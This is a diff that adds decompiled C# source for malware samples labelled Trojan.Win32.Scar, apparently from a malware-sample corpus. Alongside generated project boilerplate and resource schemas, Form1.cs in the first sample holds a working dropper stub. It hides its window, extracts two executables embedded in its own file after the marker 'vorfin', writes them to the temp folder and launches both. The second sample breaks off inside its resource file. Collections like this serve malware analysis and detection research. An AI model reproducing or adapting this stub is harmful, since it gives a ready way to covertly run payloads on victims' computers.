auto-decompiled msil via petikvx

add

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyDescription("")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTitle("Stub1")]
+[assembly: Guid("b6fdf980-b62e-4e05-9df9-b7c02b3635db")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCopyright("Copyright ©  2009")]
+[assembly: AssemblyProduct("Stub1")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c/Form1.cs

@@ -0,0 +1,76 @@
+// Decompiled with JetBrains decompiler
+// Type: Stub1.Form1
+// Assembly: Stub1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9B260F9E-B637-4FE8-A861-15D68DACD951
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Windows.Forms;
+
+namespace Stub1
+{
+  [DesignerGenerated]
+  public class Form1 : Form
+  {
+    private IContainer components;
+    private const string FileSplit = "vorfin";
+
+    [DebuggerNonUserCode]
+    public Form1()
+    {
+      this.Load += new EventHandler(this.Form1_Load);
+      this.InitializeComponent();
+    }
+
+    [DebuggerNonUserCode]
+    protected override void Dispose(bool disposing)
+    {
+      try
+      {
+        if (!disposing || this.components == null)
+          return;
+        this.components.Dispose();
+      }
+      finally
+      {
+        base.Dispose(disposing);
+      }
+    }
+
+    [DebuggerStepThrough]
+    private void InitializeComponent()
+    {
+      this.components = (IContainer) new System.ComponentModel.Container();
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.Text = nameof (Form1);
+    }
+
+    private void Form1_Load(object sender, EventArgs e)
+    {
+      this.Visible = false;
+      this.Opacity = 0.0;
+      this.ShowIcon = false;
+      this.ShowInTaskbar = false;
+      string tempPath = Path.GetTempPath();
+      FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
+      string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
+      FileSystem.FileGet(1, ref Expression);
+      FileSystem.FileClose(1);
+      string[] strArray = Strings.Split(Expression, "vorfin");
+      FileSystem.FileOpen(3, tempPath + "\\File1.exe", OpenMode.Binary, OpenAccess.ReadWrite);
+      FileSystem.FilePut(3, strArray[1], -1L, false);
+      FileSystem.FileClose(3);
+      FileSystem.FileOpen(5, tempPath + "\\File2.exe", OpenMode.Binary, OpenAccess.ReadWrite);
+      FileSystem.FilePut(5, strArray[2], -1L, false);
+      FileSystem.FileClose(5);
+      Process.Start(tempPath + "\\File1.exe");
+      Process.Start(tempPath + "\\File2.exe");
+      this.Close();
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c/My/MyApplication.cs

@@ -0,0 +1,48 @@
+// Decompiled with JetBrains decompiler
+// Type: Stub1.My.MyApplication
+// Assembly: Stub1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9B260F9E-B637-4FE8-A861-15D68DACD951
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace Stub1.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerHidden]
+    [STAThread]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = true;
+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: Stub1.My.MyComputer
+// Assembly: Stub1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9B260F9E-B637-4FE8-A861-15D68DACD951
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace Stub1.My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyComputer : Computer
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c/My/MyProject.cs

@@ -0,0 +1,212 @@
+// Decompiled with JetBrains decompiler
+// Type: Stub1.My.MyProject
+// Assembly: Stub1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9B260F9E-B637-4FE8-A861-15D68DACD951
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace Stub1.My
+{
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [DebuggerNonUserCode]
+    static MyProject()
+    {
+    }
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    internal sealed class MyForms
+    {
+      public Form1 m_Form1;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      public Form1 Form1
+      {
+        [DebuggerNonUserCode] get
+        {
+          this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
+          return this.m_Form1;
+        }
+        [DebuggerNonUserCode] set
+        {
+          if (value == this.m_Form1)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<Form1>(ref this.m_Form1);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    internal sealed class MyWebServices
+    {
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c/My/MySettings.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: Stub1.My.MySettings
+// Assembly: Stub1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9B260F9E-B637-4FE8-A861-15D68DACD951
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace Stub1.My
+{
+  [CompilerGenerated]
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerNonUserCode]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
+        return MySettings.defaultInstance;
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c/My/MySettingsProperty.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: Stub1.My.MySettingsProperty
+// Assembly: Stub1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9B260F9E-B637-4FE8-A861-15D68DACD951
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace Stub1.My
+{
+  [StandardModule]
+  [HideModuleName]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings => MySettings.Default;
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: Stub1.My.Resources.Resources
+// Assembly: Stub1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 9B260F9E-B637-4FE8-A861-15D68DACD951
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace Stub1.My.Resources
+{
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  [StandardModule]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) Stub1.My.Resources.Resources.resourceMan, (object) null))
+          Stub1.My.Resources.Resources.resourceMan = new ResourceManager("Stub1.Resources", typeof (Stub1.My.Resources.Resources).Assembly);
+        return Stub1.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => Stub1.My.Resources.Resources.resourceCulture;
+      set => Stub1.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c/Trojan.Win32.Scar.cmvb.csproj

@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{0B6BEC7C-B17E-4814-BFAD-ED874038564F}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>Stub1</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>Stub1</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Form1.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c/Trojan.Win32.Scar.cmvb.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stub1", "Trojan.Win32.Scar.cmvb-569573b0cae3b5e6bf8021e6d8ae1c973adaaa1b3afb08ee5269323014f3469c.csproj", "{0B6BEC7C-B17E-4814-BFAD-ED874038564F}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{0B6BEC7C-B17E-4814-BFAD-ED874038564F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{0B6BEC7C-B17E-4814-BFAD-ED874038564F}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{0B6BEC7C-B17E-4814-BFAD-ED874038564F}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{0B6BEC7C-B17E-4814-BFAD-ED874038564F}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyCopyright("")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyProduct("")]
+[assembly: AssemblyTitle("")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: Guid("34147d9f-87c2-42f8-b496-f61c63c32374")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Trojan/Win32/S/Trojan.Win32.Scar.oajo-73c2744f575cfc2a701f2e9e007e619bd64c245aa21fa5e718d5bcd65237d589/Form1.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
